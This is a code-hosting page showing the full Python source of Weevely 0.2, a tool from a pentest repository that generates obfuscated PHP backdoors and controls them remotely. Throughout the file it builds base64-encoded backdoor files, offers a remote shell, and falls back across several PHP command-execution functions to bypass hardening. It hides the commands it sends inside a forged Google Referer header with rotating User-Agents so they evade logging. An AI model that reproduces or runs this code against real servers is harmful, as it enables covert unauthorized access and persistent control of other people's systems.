PageRenderTime 60ms CodeModel.GetById 33ms RepoModel.GetById 0ms app.codeStats 0ms

/src/pentest/weevely/weevely.py

https://github.com/sullivanmatt/Raspberry-Pwn
Python | 463 lines | 432 code | 27 blank | 4 comment | 48 complexity | 46e9c20bb9c0a0fd4c5884514d6534a1 MD5 | raw file
Possible License(s): BSD-3-Clause, AGPL-1.0, MPL-2.0-no-copyleft-exception, GPL-2.0, GPL-3.0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import getopt, sys, base64, os, urllib2, re, urlparse, os, random, readline, rlcompleter, atexit
  4. history = os.path.expanduser( '~/.weevely_history' )
  5. completions = {}
  6. def autoComplete( text, state ):
  7. try:
  8. matches = completions[text]
  9. except KeyError:
  10. matches = []
  11. items = readline.get_current_history_length()
  12. for i in range( items ):
  13. item = readline.get_history_item(i)
  14. if item != None and text in item:
  15. matches.append(item)
  16. completions[text] = matches
  17. try:
  18. return matches[state]
  19. except IndexError:
  20. return None
  21. try:
  22. readline.parse_and_bind( 'tab: menu-complete' )
  23. readline.set_completer( autoComplete )
  24. readline.read_history_file(history)
  25. except IOError:
  26. pass
  27. atexit.register( readline.write_history_file, history )
  28. methods= [ "system()", "passthru()", "popen()", "exec()", "proc_open()", "shell_exec()", "pcntl_exec()", "perl->system()", "python_eval()" ]
  29. class weevely:
  30. modules = {}
  31. def main(self):
  32. self.banner()
  33. self.loadmodules()
  34. escape=-1
  35. try:
  36. opts, args = getopt.getopt(sys.argv[1:], 'ltgsm:c:u:p:o:e:', ['list', 'module', 'generate', 'url', 'password', 'terminal', 'command', 'output', 'escape'])
  37. except getopt.error, msg:
  38. print "! ERROR:", msg, "\n"
  39. exit(2)
  40. for o, a in opts:
  41. if o in ("-g", "-generate"):
  42. moderun='g'
  43. if o in ("-t", "-terminal"):
  44. moderun='t'
  45. if o in ("-l", "-list"):
  46. moderun='l'
  47. if o in ("-c", "-command"):
  48. cmnd=a
  49. moderun='c'
  50. if o in ("-m", "-module"):
  51. modul=a
  52. moderun='m'
  53. if o in ("-e", "-escape"):
  54. try:
  55. escape=int(a)
  56. if escape<0 or escape>8 or escape%1!=0:
  57. print "! ERROR: escape method is not a valid integer.\n"
  58. return
  59. except ValueError:
  60. print "! ERROR: escape method is not a valid integer.\n"
  61. return
  62. if o in ("-s", "-show"):
  63. escape=-1
  64. moderun='s'
  65. if o in ("-u", "-url"):
  66. url=a
  67. parsed=urlparse.urlparse(url)
  68. if not parsed.scheme:
  69. url="http://"+url
  70. if not parsed.netloc:
  71. print "! ERROR: URL not valid\n"
  72. sys.exit(1)
  73. if o in ("-p", "-password"):
  74. if len(a)<4:
  75. print "! ERROR: required almost 4 character long password\n"
  76. sys.exit(1)
  77. pwd=a
  78. if o in ("-o", "-output"):
  79. outfile=a
  80. # Start
  81. if 'moderun' in locals():
  82. if moderun=='c' or moderun=='t' or moderun=='m' or moderun=='s':
  83. if 'pwd' not in locals():
  84. pwd=''
  85. while not pwd or len(pwd)<4:
  86. print "+ Please insert almost 4 character long password: ",
  87. pwd = sys.stdin.readline().strip()
  88. if 'url' not in locals():
  89. print "! Please specify URL (-u)\n"
  90. sys.exit(1)
  91. try:
  92. self.host=host(url,pwd)
  93. except Exception, e:
  94. print "! ERROR: " + str(e) + ". Exiting...\n"
  95. return
  96. if moderun=='s':
  97. if self.host.checkexecution(-2)<0:
  98. return
  99. if moderun=='g':
  100. if 'pwd' not in locals():
  101. pwd=''
  102. while not pwd or len(pwd)<4:
  103. print "+ Please insert almost 4 character long password: ",
  104. pwd = sys.stdin.readline().strip()
  105. if 'outfile' not in locals():
  106. print "! Please specify where generate backdoor file (-o)"
  107. sys.exit(1)
  108. if moderun=='c':
  109. try:
  110. if self.host.checkexecution(escape)<0:
  111. return
  112. print self.host.execute(cmnd)
  113. except Exception, e:
  114. #print '! Command execution failed: ' + str(e) + '.'
  115. raise
  116. return
  117. if moderun=='t':
  118. if self.host.checkexecution(escape)<0:
  119. return
  120. self.terminal(url,pwd)
  121. if moderun=='g':
  122. self.generate(pwd,outfile)
  123. if moderun=='m':
  124. self.execmodule(url,pwd,modul,os)
  125. if moderun=='l':
  126. self.listmodules()
  127. else:
  128. self.usage()
  129. sys.exit(1)
  130. def usage(self):
  131. print (" Generate backdoor crypted code:\n" +
  132. "\tweevely -g -o <filepath> -p <pass>\n\n" +
  133. " Execute remote commands:\n" +
  134. "\tweevely -c <command> -u <url> -p <pass>\n\n" +
  135. " Start remote terminal:\n" +
  136. "\tweevely -t -u <url> -p <password>\n\n" +
  137. " Bypass PHP hardening protections.\n\n" +
  138. "\tShow available remote functions:\n" +
  139. "\tweevely -s -u <url> -p <password>\n\n" +
  140. "\tExecute function:\n" +
  141. "\tweevely -e <function number> -t -u <url> -p <password>\n\n" +
  142. " Execute PHP modules on remote server.\n\n" +
  143. "\tList available modules:\n" +
  144. "\tweevely -l\n\n" +
  145. "\tExecute module:\n" +
  146. "\tweevely -m <module>::<1arg>::..::<Narg> -u <url> -p <pass>\n");
  147. def banner(self):
  148. print ("\n Weevely 0.2 - Generate and manage stealth PHP backdoors.\n" +
  149. " Copyright (c) 2010-2011 Weevely Developers\n" +
  150. " Website: http://code.google.com/p/weevely/\n" +
  151. " Original work: Emilio Pinna\n");
  152. def terminal(self, url, pwd):
  153. hostname=urlparse.urlparse(url)[1]
  154. while True:
  155. cmnd = raw_input( hostname + '> ' )
  156. if cmnd!='\n':
  157. readline.add_history(cmnd)
  158. print self.host.execute(cmnd)
  159. def generate(self,key,path):
  160. f_tocrypt = file('php/encoded_backdoor.php')
  161. f_back = file('php/backdoor.php')
  162. f_output = file(path,'w')
  163. str_tocrypt = f_tocrypt.read()
  164. new_str_tocrypt = str_tocrypt.replace('%%%START_KEY%%%',key[:2]).replace('%%%END_KEY%%%',key[2:]).replace('\n','')
  165. str_crypted = base64.b64encode(new_str_tocrypt)
  166. str_back = f_back.read()
  167. new_str = str_back.replace('%%%BACK_CRYPTED%%%', str_crypted)
  168. f_output.write(new_str)
  169. print '+ Backdoor file ' + path + ' created with password '+ key + '.\n'
  170. def execmodule(self, url, pwd, modulestring, os):
  171. modname = modulestring.split('::')[0]
  172. modargs = modulestring.split('::')[1:]
  173. if not self.modules.has_key(modname):
  174. print '! Module', modname, 'doesn\'t exist. Print list (-l).'
  175. else:
  176. m = self.modules[modname]
  177. if m.has_key('arguments'):
  178. argnum=len(self.modules[modname]['arguments'])
  179. if len(modargs)!=argnum:
  180. print '! Module', modname, 'takes exactly', argnum, 'argument/s:', ','.join(self.modules[modname]['arguments'])
  181. print '! Description:', self.modules[modname]['description']
  182. return
  183. if m.has_key('os'):
  184. if self.host.os not in self.modules[modname]['os']:
  185. print '- Warning: remote system \'' + self.host.os + '\' and module supported system/s \'' + ','.join(self.modules[modname]['os']).strip() + '\' seems not compatible.'
  186. print '- Press enter to continue or control-c to exit'
  187. sys.stdin.readline()
  188. f = file('modules/' + modname + '.php')
  189. modargsstring='"'+'","'.join(modargs) + '"'
  190. modutext = '$ar = Array(' + modargsstring + ');\n' + f.read()
  191. toinject=''
  192. for i in modutext.split('\n'):
  193. if len(i)>2 and ( i[:2] == '//' or i[0] == '#'):
  194. continue
  195. toinject=toinject+i+'\n'
  196. try:
  197. ret = self.host.execute_php(toinject)
  198. except Exception, e:
  199. #print '! Module execution failed: ' + str(e) + '.'
  200. raise
  201. else:
  202. print ret
  203. def listmodules(self):
  204. for n in self.modules.keys():
  205. m = self.modules[n]
  206. print '+ Module:', m['name']
  207. if m.has_key('OS'):
  208. print ' Supported OSs:', m['OS']
  209. if m.has_key('arguments'):
  210. print ' Usage: weevely -m ' + m['name'] + "::<" + '>::<'.join(m['arguments']) + '>' + ' -u <url> -p <password>'
  211. else:
  212. print ' Usage: weevely -m ' + m['name'] + ' -u <url> -p <password>'
  213. if m.has_key('description'):
  214. print ' Description:', m['description'].strip()
  215. print ''
  216. def loadmodules(self):
  217. files = os.listdir('modules')
  218. for f in files:
  219. module={}
  220. if f.endswith('.php'):
  221. mod = file('modules/' + f)
  222. modstr = mod.read()
  223. modname = f[:-4]
  224. module['name']=modname
  225. restring='//.*Author:(.*)'
  226. e = re.compile(restring)
  227. founded=e.findall(modstr)
  228. if founded:
  229. module['author']=founded[0]
  230. restring='//.*Description:(.*)'
  231. e = re.compile(restring)
  232. founded=e.findall(modstr)
  233. if founded:
  234. module['description']=founded[0]
  235. restring='//.*Arguments:(.*)'
  236. e = re.compile(restring)
  237. founded=e.findall(modstr)
  238. if founded:
  239. module['arguments'] = [v.strip() for v in founded[0].split(',')]
  240. restring='//.*OS:(.*)'
  241. e = re.compile(restring)
  242. founded=e.findall(modstr)
  243. if founded:
  244. module['os'] = [v.strip() for v in founded[0].split(',')]
  245. self.modules[module['name']]=module
  246. class host():
  247. def __init__(self,url,pwd):
  248. self.url=url
  249. self.pwd=pwd
  250. self.method=-1
  251. os = self.checkbackdoor()
  252. self.os=os
  253. def checkbackdoor(self):
  254. os = None
  255. # Eval test + OS check
  256. try:
  257. os = self.execute_php("echo PHP_OS;")
  258. except Exception, e:
  259. raise
  260. return os
  261. def checkexecution(self, escape = -1):
  262. sum_ok = []
  263. sum_no = {}
  264. if escape < 0:
  265. ran = range(0,9)
  266. else:
  267. ran = [ escape ]
  268. first=-1
  269. ret=''
  270. for i in ran:
  271. try:
  272. ret = self.execute("echo " + self.pwd, i)
  273. if(ret==self.pwd):
  274. if first == -1:
  275. first=i
  276. if escape != -2:
  277. break
  278. sum_ok.append(methods[i])
  279. else:
  280. sum_no[methods[i]]=ret
  281. except Exception, e:
  282. sum_no[methods[i]]='! ERROR: ' + ret + " " + str(e)
  283. # Summary
  284. if len(sum_ok)>0 and escape==-2:
  285. print "+ Accepted functions:",
  286. for m in sum_ok:
  287. print str(methods.index(m)) + " [" + m + "]",
  288. print '\n'
  289. if first == -1 or ( len(sum_no)>0 and escape==-2 ):
  290. print "- Unsupported functions: ",
  291. for m in sum_no:
  292. print str(methods.index(m)) + " [" + m + "]",
  293. print '\n'
  294. if first==-1:
  295. print '! No working functions founded on ' + self.url + '. Exiting...\n'
  296. else:
  297. self.method = first
  298. if escape != -2:
  299. print '+ Using method ' + str(first) + ' [' + methods[first] + '] on ' + self.url +'\n'
  300. return first
  301. def execute_php(self,cmnd):
  302. cmnd=cmnd.strip()
  303. cmdstr=base64.b64encode(cmnd)
  304. try:
  305. ret=self.execHTTPGet(self.genRefUrl(cmdstr),self.genUserAgent())
  306. except urllib2.URLError, e:
  307. raise
  308. else:
  309. restring='<' + self.pwd[2:] + '>(.*)</' + self.pwd[2:] + '>'
  310. e = re.compile(restring,re.DOTALL)
  311. founded=e.findall(ret)
  312. if len(founded)<1:
  313. raise Exception('No PHP evaluation. Check url, password, and backdoor installation')
  314. else:
  315. return founded[0].strip()
  316. def execute(self, cmnd, met=-1):
  317. if(met==-1):
  318. met=self.method
  319. if(met==0):
  320. cmnd="@system('" + cmnd + " 2>&1');"
  321. elif(met==1):
  322. cmnd="passthru('" + cmnd + " 2>&1');"
  323. elif(met==2):
  324. # Using while() fread() because more common than stream_get_content()
  325. cmnd="$h=popen('" + cmnd + "', 'r'); while(!feof($h)) echo(fread($h,4096)); pclose($h);"
  326. elif(met==3):
  327. # Need \n added
  328. cmnd="exec('" + cmnd + " 2>&1', $r); echo(join(\"\\n\",$r));"
  329. elif(met==4):
  330. cmnd = "$p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); $h = proc_open('" + cmnd + "', $p, $pipes); while(!feof($pipes[1])) echo(fread($pipes[1],4096)); while(!feof($pipes[2])) echo(fread($pipes[2],4096)); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($h);"
  331. elif(met==5):
  332. cmnd="echo shell_exec('" + cmnd + " 2>&1');"
  333. elif(met==6):
  334. # Not available in PHP compiled as apache module
  335. cmnd="$u = array('" + "','".join(cmnd.split(' ')[1:]) + "'); pcntl_exec('" + cmnd.split()[0] + "', $u);"
  336. elif(met==7):
  337. # Needs perl extension
  338. cmnd="$perl = new perl(); $r = @perl->system('" + cmnd + " 2>&1'); echo $r"
  339. elif(met==8):
  340. #Needs python extension
  341. cmnd="@python_eval('import os; os.system('" + cmnd + " 2>&1');"
  342. ret = self.execute_php(cmnd)
  343. return ret
  344. def execHTTPGet(self, refurl, useragent):
  345. req = urllib2.Request(self.url)
  346. req.add_header('Referer', refurl)
  347. req.add_header('User-Agent', useragent)
  348. r = urllib2.urlopen(req)
  349. return r.read()
  350. def genUserAgent(self):
  351. agents = ['Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; InfoPath.1)' ]
  352. return agents[random.randint(0,len(agents)-1)]
  353. def genRefUrl(self,cmdstr):
  354. #As seen in offical google blog: http://analytics.blogspot.com/2009/04/upcoming-change-to-googlecom-search.html
  355. # http://www.google.com/url?sa=t&source=web&ct=res&cd=7&url=http%3A%2F%2Fwww.example.com%2Fmypage.htm&ei=0SjdSa-1N5O8M_qW8dQN&rct=j&q=flowers&usg=AFQjCNHJXSUh7Vw7oubPaO3tZOzz-F-u_w&sig2=X8uCFh6IoPtnwmvGMULQfw
  356. # Old
  357. # refurl='http://www.google.com/url?sa=' + self.pwd[:2] + '&source=' + cmdstr[:len(cmdstr)/2] + '&ei=' + cmdstr[(len(cmdstr)/2):]
  358. parsed=urlparse.urlparse(self.url)
  359. if not parsed.path:
  360. q=parsed.netloc.replace('/',' ')
  361. else:
  362. simple_path=''.join(parsed.path.split('.')[:-1])
  363. q=simple_path.replace('/',' ')
  364. #real_refurl = 'http://www.google.com/url?' + 'sa=' + self.pwd[:2] + '&source=web&ct=7' + '&url=' + urllib2.quote(parsed.geturl(),'') + '&q=' + q + '&usg=' + cmdstr[:len(cmdstr)/2] + '&sig2=' + cmdstr[(len(cmdstr)/2):]
  365. real_refurl = 'http://www.google.com/url?' + 'sa=' + self.pwd[:2] + '&source=web&ct=7' + '&url=' + urllib2.quote(parsed.geturl(),'') + '&rct=j&q=' + q + '&ei=' + cmdstr[:len(cmdstr)/3] +'&usg=' + cmdstr[len(cmdstr)/3:len(cmdstr)*2/3] + '&sig2=' + cmdstr[len(cmdstr)*2/3:]
  366. return ''.join(real_refurl)
  367. if __name__ == "__main__":
  368. app=weevely()
  369. try:
  370. app.main()
  371. except KeyboardInterrupt:
  372. print '\n\n! Received keyboard interrupt. Exiting...\n'